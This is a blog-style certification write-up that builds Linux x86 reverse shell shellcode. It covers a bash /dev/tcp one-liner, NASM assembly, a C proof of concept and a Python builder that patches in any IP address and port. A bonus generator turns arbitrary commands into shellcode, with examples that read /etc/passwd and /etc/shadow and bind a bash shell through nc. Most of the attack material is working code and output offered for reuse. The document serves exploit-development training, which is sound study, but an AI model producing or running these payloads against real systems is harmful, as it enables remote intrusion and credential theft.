Concerned Project Repository
You can find a complete version of the project that is described in this paper on my Github account.
https://github.com/DarkCoderSc/slae32-reverse-shellAssignment N°2 - Reverse Shell (NASM)
Assignment Goals (SLAE-1530)
1) Create a TCP Reverse Shellcode for Linux x86-32.
2) The port number should be easily configurable.
3) The IP address should be easily configurable.
3) Bonus if getting referenced in exploit-db or shell-storm.
TCP Reverse Shell Principle
In first exercise we learnt how to create our own TCP Bindshell shellcode using few syscalls (socketcall()
, dup2()
and execve()
).
A reverse shell is almost identical to a classic bindshell, this time instead of having a shellcode that listen for new clients, we will create a shellcode that will connect back to a remote server.
Fortunately, on Linux by default, we do not have any restrictions to manage sockets in client mode.
On Linux (in bellow example Ubuntu 18.04), it is easy to create a simple reverse shell connection only using a single command.
First open the listener (in this case, the attacker's machine):
root@local:# nc -lvp 443
And then, bellow command will establish a new connection to attacker's machine and redirect stdin
(0), stdout
(1) and stderr
(2) file descriptors.
user@local:$ /bin/bash -i >& /dev/tcp/127.0.0.1/443 0>&1
mknod
command like in previous paper example.
Process
In real life, we will most of the time face reverse shell shellcodes using one of the two first methods brievly introduced bellow.
Since the two first methods are very similar to our first paper, we decided to think out of the box and use a completely different approach.
Indeed, we will spawn a new reverse shell only running a specially crafted command with execve()
syscall.
Method 1 and Method 2 chapter will only briefly introduce required steps for creating a reverse shell using different syscalls.
Method 3 is the subject of our paper and will describe the whole process in detail.
Method 1 - Classic
Required Syscalls
Below table is ordered by syscall execution order.
Decimal N° | Hex N° | Name |
---|---|---|
359 | 0x167 | socket() |
362 | 0x16a | connect() |
63 | 0x3f | dup2() |
11 | 0xb | execve() |
This technique is what we would use if we were coding a classic client program using higher language (C/C++, Pascal etc..).
Steps
- Create a new IPv4/TCP socket using
socket()
. - Establish a new connection to a listening socket defined by its IP address and Port number using
connect()
. - Duplicate
stdin
(0),stdout
(1) andstderr
(2) file descriptors with client socket usingdup2()
. - Finally, spawn a new shell using
execve()
with/bin/sh
or any shell you want.
Method 2 - socketcall()
Below table is ordered by syscall execution order.
Decimal N° | Hex N° | Name |
---|---|---|
102 | 0x66 | socketcall() |
63 | 0x3f | dup2() |
11 | 0xb | execve() |
On x86-32 architecture, this technique will remove both socket()
and connect()
syscalls.
Steps are the same as for method 1, however socketcall()
function differently, see previous paper for more detail.
Steps
- Create a new IPv4/TCP socket using
socketcall()
and call numberSYS_SOCKET
(1) - Establish a new connection to a listening socket defined by its IP address and Port number using
socketcall()
and call numberSYS_CONNECT
(2). - Duplicate
stdin
(0),stdout
(1) andstderr
(2) file descriptors with client socket usingdup2()
. - Finally, spawn a new shell using
execve()
with/bin/sh
or any shell you want.
Method 3 - Run Command
Why would we bother manipulating sockets if everything we need is already natively available through command line? We don't have to!
Advanced execve()
usage schema
It requires four registers: eax
, ebx
, ecx
and edx
eax
register value needs to be set to0xb
representing the syscall number forexecve()
.ebx
register must be set with an address pointing to the program name (/bin/bash
).ecx
register must contains and address pointing to a NULL terminated array of addresses pointing to arguments to pass to the program.edx
register can contain additional environment settings, we won't use that register so it will point to an address containing NULL.
Assembly Code Creation Plan
Part I - Testing and understanding this technique using high level language (C)
It is a good habit to create things in a higher level language before coding in assembly.
So let's quickly script something in C.
#include
#include
int main(void) {
char* args[] = {
"/bin/bash", "-c", // run a new command (could be /bin/sh to save few bytes)
"//*/bash -i >& /dev/tcp/127.0.0.1/443 0>&1", // reverse shell command
NULL // NULL byte telling we reached the last argument
};
execve(args[0], &args[0], NULL);
return 0;
}
user@local:$ gcc poc.c -o poc
Now we open a new listener:
root@local:# nc -lvp 443
and run in another terminal the PoC:
user@local:$ ./poc
Success, we have a shell!
root@ubuntu:/home/phrozen/SLAE32/SLAE-Exam/Level2# nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from localhost 56256 received!
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
phrozen@ubuntu:/home/phrozen/SLAE32/SLAE-Exam/Level2$
Part II - Apply above principle to NASM
1 - Push *pathname
Remember, ebx
register must contain an address pointing to a NULL terminated string. This string represent the program we want to run : /bin/bash
/bin/sh
), this would save 4 bytes to our final shellcode.
Since we are facing a Little Endian architecture, the pushed string must be stored in reverse order.
To prevent extra instructions we also need to take care of alignment. x86-32 address are 4 bytes long so string length must be a multiple of 4.
Since /bin/bash
is 9 bytes long, we must add 3 extra /
=> : ////bin/bash
to fit alignment.
Example Stack Dump
Address | Content |
---|---|
000000058 | 0x2f2f2f2f (////) |
00000005c | 0x2f6e6962 (/nib) |
000000060 | 0x68736162 (hsab) |
000000064 | 0x00000000 (NULL) |
Following above stack dump ebx
register would be set to 0x00000058
2 - Push *argv[]
This part is the most tricky part so far, ecx
register needs to point to a NULL terminated array of addresses. Each address need to point to a NULL terminated string address with the argument value.
We still need to take care of alignment and Endianness.
We will push three different arguments.
Argv[0]
The first argument by convention contains the pathname (/bin/bash
).
The second argument contains -c
which tells bash
program we want to run a command line.
Finally third argument contains our reverse shell payload string: /bin/bash -i >& /dev/tcp/127.0.0.1/443 0>&1
Notice to save some precious bytes, we can compress the payload string as follows: /*/bash -i>&/dev/tcp/2130706433/443 0>&1
/*/bash
is a wildcard that will search for any subdirectories containingbash
program.2130706433
is the equivalent of127.0.0.1
but in "integer" format.
Example Stack Dump
Address | Content |
---|---|
000000014 | addr(0x000000004) (Argv[0] = ebx ) |
000000018 | addr(0x000000040) (Argv[1]) |
00000001c | addr(0x000000014) (Argv[2]) |
000000020 | 0x000000000 (NULL) |
000000024 | 0x622f2a2f (1&>0) |
000000028 | 0x20687361 (344) |
00000002c | 0x263e692d (/334) |
000000030 | 0x7665642f (6070) |
000000034 | 0x7063742f (312/) |
000000038 | 0x3331322f (pct/) |
00000003c | 0x36303730 (ved/) |
000000040 | 0x2f333334 (&>i-) |
000000044 | 0x20333434 ( hsa) |
000000048 | 0x31263e30 (b/*/) |
00000004c | 0x00000000 (NULL) |
000000050 | 0x632d (c-) |
000000054 | 0x00000000 (NULL) |
Following above stack dump ecx
register would be set to 0x000000014
3 - Push *envp[]
Lastly we need to set the edx
register to an address that points to NULL.
The easiest way is to simply push a new NULL to the top of the stack then assign top address of the stack (esp
) to edx
.
Address | Content |
---|---|
000000010 | 0x00000000 (NULL) |
Following above stack dump edx
register would be set to 0x00000010
4 - Call execve()
We can finally set eax
to 0xb
to call the execve()
syscall.
*Debugging* on success execve() does not return.
TCP Reverse Shell Code (NASM)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : bindshell.nasm ;
; Author : Jean-Pierre LESUEUR ;
; Website : https://www.phrozen.io/ ;
; Email : jplesueur@phrozen.io ;
; Twitter : @DarkCoderSc ;
; ;
; --------------------------------------------------;
; SLAE32 Certification Exercise N°2 ;
; (Pentester Academy). ;
; https://www.pentesteracademy.com ;
; --------------------------------------------------;
; ;
; Purpose: ;
; --------------------------------------------------;
; Reverse Shell ;
; Connects to 127.0.0.1:443 by default ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _start
section .text
_start:
xor eax, eax
;--------------------------------------------------------------------
; *pathname
;--------------------------------------------------------------------
; ///bin//bash
push eax
push 0x68736162 ; hsab
push 0x2f2f6e69 ; //ni
push 0x622f2f2f ; b///
mov ebx, esp
;--------------------------------------------------------------------
; *argv[]
;--------------------------------------------------------------------
; -c
mov ax, 0x632d
push eax
xor eax, eax
mov edx, esp
; /*/bash -i>&/dev/tcp/2130706433/443 0>&1
push eax
push 0x31263e30 ; 1&>0
push 0x20333434 ; 344
push 0x2f333334 ; /334
push 0x36303730 ; 6070
push 0x3331322f ; 312/
push 0x7063742f ; pct/
push 0x7665642f ; ved/
push 0x263e692d ; &>i-
push 0x20687361 ; hsa
push 0x622f2a2f ; b/*/
mov esi, esp
push eax ; EOF Arguments
push esi ; Argv[2] = "/bin//bash -i >& /dev/tcp/127.0.0.1/443 0>&1"
push edx ; Argv[1] = "-c"
push ebx ; Argv[0] = "/bin/bash"
mov ecx, esp
;--------------------------------------------------------------------
; *envp[] - We don't care (NULL)
;--------------------------------------------------------------------
push eax
mov edx, esp
;--------------------------------------------------------------------
; execve() syscall
;--------------------------------------------------------------------
mov al, 0xb
int 0x80
Compile and Test our Payload
user@local:$ nasm -f elf32 -o revshell.o revshell.nasm
user@local:$ ld -o revshell revshell.o
Now we open a new listener:
root@local:# nc -lvp 443
and run in another terminal the PoC:
user@local:$ ./revshell
Success, we have a shell!
Shellcode Builder (Python3)
The last required objective for this exercise is to create a builder to easily patch the final shellcode with desired IP address and TCP port number.
This objective requires more work than for TCP bindshell but is by far more straightforward.
We only need to patch one string in our final payload (highlighted in bellow screen).
To do so we must especially take care of two things:
N°1
Each chunks (stack pushes) of our final string payload must be aligned to 4 bytes and reversed.
N°2
We will translate IP Address in its integer equivalent (network byte order) using inet_aton
from socket library. This will minimize final shellcode length.
Builder Code (Python3)
#!/usr/bin/python3
'''
Jean-Pierre LESUEUR
@DarkCoderSc
jplesueur@phrozen.io
https://www.phrozen.io
***
SLAE32 Certification Exercise N°2
(Pentester Academy).
https://www.pentesteracademy.com
***
Description:
Generate a TCP Reverse Shell with desired IP Address and TCP Port number.
'''
import socket
import sys
import struct
from textwrap import wrap
def fail(message):
print("[\033[31mKO\033[39m] " + message)
def success(message):
print("[\033[32mOK\033[39m] " + message)
try:
if len(sys.argv) != 3:
print("Usage: ./gen_revshell.py ")
raise
else:
LHOST = sys.argv[1]
try:
socket.inet_aton(LHOST)
except:
fail("Invalid IP address (ex:127.0.0.1)")
raise
try:
LPORT = int(sys.argv[2])
if (LPORT > 65535) or (LPORT < 0):
raise
except:
fail("Invalid port number (0..65535)")
raise
except:
sys.exit()
revstr = "/*/bash -i>&/dev/tcp/{}/{} 0>&1"
payload = ""
payload += "\\x31\\xc0" # xor eax, eax
payload += "\\x50" # push eax
payload += "\\x68\\x62\\x61\\x73\\x68" # push 0x68736162
payload += "\\x68\\x69\\x6e\\x2f\\x2f" # push 0x2f2f6e69
payload += "\\x68\\x2f\\x2f\\x2f\\x62" # push 0x622f2f2f
payload += "\\x89\\xe3" # mov ebx,esp
payload += "\\x66\\xb8\\x2d\\x63" # mov ax,0x632d
payload += "\\x50" # push eax
payload += "\\x31\\xc0" # xor eax,eax
payload += "\\x89\\xe2" # mov edx,esp
payload += "\\x50" # push eax
#########################################
'''
Align command following chosen options
'''
LHOST = struct.unpack("!I", socket.inet_aton(LHOST))[0]
revstr = revstr.format(LHOST, LPORT)
pad = 4 - (len(revstr) % 4)
if (pad < 4):
revstr = ("/"*pad) + revstr
'''
Write our reverse shell command (Aligned)
'''
for i in reversed(range(0, len(revstr), 4)):
opcode = "\\x68"
for n in range(4):
opcode += "\\x" + revstr[i:(i+4)][n:(n+1)].encode('ascii').hex()
payload += opcode
#########################################
payload += "\\x89\\xe6" # mov esi,esp
payload += "\\x50" # push eax
payload += "\\x56" # push esi
payload += "\\x52" # push edx
payload += "\\x53" # push ebx
payload += "\\x89\\xe1" # mov ecx,esp
payload += "\\x50" # push eax
payload += "\\x89\\xe2" # mov edx,esp
payload += "\\xb0\\x0b" # mov al,0xb
payload += "\\xcd\\x80" # int 0x80
size = int(len(payload) / 4)
success("Shellcode successfully generated size={} Bytes.".format(size))
final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"
for l in wrap(payload, 64):
final_payload += "\t\"{}\"\n".format(l)
final_payload = final_payload[:-1] + ";"
print(final_payload)
Usage
user@local:$ python3 ./gen_revshell.py 172.16.20.145 1403
or
user@local:$ chmod +x gen_revshell.py && ./gen_revshell.py 172.16.20.145 1403
--warn--
Replace IP address with yours, 172.16.20.145
was my Ubuntu VM actual local IP address.
// Shellcode size = 100
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x30"
"\x3e\x26\x31\x68\x34\x30\x33\x20\x68\x39\x33\x2f\x31\x68\x37\x33"
"\x34\x39\x68\x32\x38\x38\x36\x68\x74\x63\x70\x2f\x68\x64\x65\x76"
"\x2f\x68\x69\x3e\x26\x2f\x68\x73\x68\x20\x2d\x68\x2a\x2f\x62\x61"
"\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2"
"\xb0\x0b\xcd\x80";
We can place above raw shellcode in our C template.
#include
#include
// Shellcode size = 100
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x30"
"\x3e\x26\x31\x68\x34\x30\x33\x20\x68\x39\x33\x2f\x31\x68\x37\x33"
"\x34\x39\x68\x32\x38\x38\x36\x68\x74\x63\x70\x2f\x68\x64\x65\x76"
"\x2f\x68\x69\x3e\x26\x2f\x68\x73\x68\x20\x2d\x68\x2a\x2f\x62\x61"
"\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2"
"\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
user@local:$ gcc shellcode.c -o shellcode -z execstack
Now we open a new listener:
root@local:# nc -lvp 443
and run in another terminal the PoC:
user@local:$ ./shellcode
And enjoy!
Conclusion
TCP Bindshell and Reverse Shell principles are quite similar if you except to do it using the standard way (through socket programming).
Since doing repetitive things is boring, we studied a good alternative only using the execve()
syscall.
We could modify few things in our python shellcode generator and create a variant to generate this time shellcodes to run any commands.
By chance, we did it!
Bonus - Command Shellcode Generator (Python3)
#!/usr/bin/python3
'''
Jean-Pierre LESUEUR
@DarkCoderSc
jplesueur@phrozen.io
https://www.phrozen.io
'''
import sys
from textwrap import wrap
def fail(message):
print("[\033[31mKO\033[39m] " + message)
def success(message):
print("[\033[32mOK\033[39m] " + message)
if len(sys.argv) != 2:
print("Usage: ./gen_cmd_shellcode.py ")
sys.exit()
command = sys.argv[1]
payload = ""
payload += "\\x31\\xc0" # xor eax, eax
payload += "\\x50" # push eax
payload += "\\x68\\x62\\x61\\x73\\x68" # push 0x68736162
payload += "\\x68\\x69\\x6e\\x2f\\x2f" # push 0x2f2f6e69
payload += "\\x68\\x2f\\x2f\\x2f\\x62" # push 0x622f2f2f
payload += "\\x89\\xe3" # mov ebx,esp
payload += "\\x66\\xb8\\x2d\\x63" # mov ax,0x632d
payload += "\\x50" # push eax
payload += "\\x31\\xc0" # xor eax,eax
payload += "\\x89\\xe2" # mov edx,esp
payload += "\\x50" # push eax
#########################################
'''
Align command following chosen options
'''
pad = 4 - (len(command) % 4)
if (pad < 4):
command = ("/"*pad) + command
'''
Write our reverse shell command (Aligned)
'''
for i in reversed(range(0, len(command), 4)):
opcode = "\\x68"
for n in range(4):
opcode += "\\x" + command[i:(i+4)][n:(n+1)].encode('ascii').hex()
payload += opcode
#########################################
payload += "\\x89\\xe6" # mov esi,esp
payload += "\\x50" # push eax
payload += "\\x56" # push esi
payload += "\\x52" # push edx
payload += "\\x53" # push ebx
payload += "\\x89\\xe1" # mov ecx,esp
payload += "\\x50" # push eax
payload += "\\x89\\xe2" # mov edx,esp
payload += "\\xb0\\x0b" # mov al,0xb
payload += "\\xcd\\x80" # int 0x80
size = int(len(payload) / 4)
success("Shellcode successfully generated, size={} Bytes.".format(size))
final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"
for l in wrap(payload, 64):
final_payload += "\t\"{}\"\n".format(l)
final_payload = final_payload[:-1] + ";"
print(final_payload)
Few examples
user@local:$ ./gen_cmd_shellcode.py "/bin/cat /etc/passwd"
// Shellcode size = 70
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x73"
"\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x20\x2f\x65\x74\x68\x2f\x63"
"\x61\x74\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x52\x53\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80";
user@local:$ ./gen_cmd_shellcode.py "/bin/cat /etc/shadow"
// Shellcode size = 70
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x61"
"\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x20\x2f\x65\x74\x68\x2f\x63"
"\x61\x74\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x52\x53\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80";
user@local:$ ./gen_cmd_shellcode.py "/bin/ip a && /bin/uname -r"
// Shellcode size = 80
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x65"
"\x20\x2d\x72\x68\x75\x6e\x61\x6d\x68\x62\x69\x6e\x2f\x68\x26\x26"
"\x20\x2f\x68\x70\x20\x61\x20\x68\x69\x6e\x2f\x69\x68\x2f\x2f\x2f"
"\x62\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
user@local:$ ./gen_cmd_shellcode.py "/bin/nc -lvp 443 -e /bin/bash"
// Shellcode size = 85
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x62"
"\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2d\x65\x20\x2f\x68\x34\x34"
"\x33\x20\x68\x6c\x76\x70\x20\x68\x6e\x63\x20\x2d\x68\x62\x69\x6e"
"\x2f\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89"
"\xe2\xb0\x0b\xcd\x80";
user@local:$ ./gen_cmd_shellcode.py "/bin/cat /root/root.txt"
// Shellcode size = 75
unsigned char code[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x2e"
"\x74\x78\x74\x68\x72\x6f\x6f\x74\x68\x6f\x6f\x74\x2f\x68\x74\x20"
"\x2f\x72\x68\x6e\x2f\x63\x61\x68\x2f\x2f\x62\x69\x89\xe6\x50\x56"
"\x52\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
Afterword
You may find a copy of all codes in the following repository : https://github.com/DarkCoderSc/slae32-reverse-shell
All content on this website is protected by a disclaimer. Please review it before using our site
June 12, 2020, 10:46 a.m. | By Jean-Pierre LESUEUR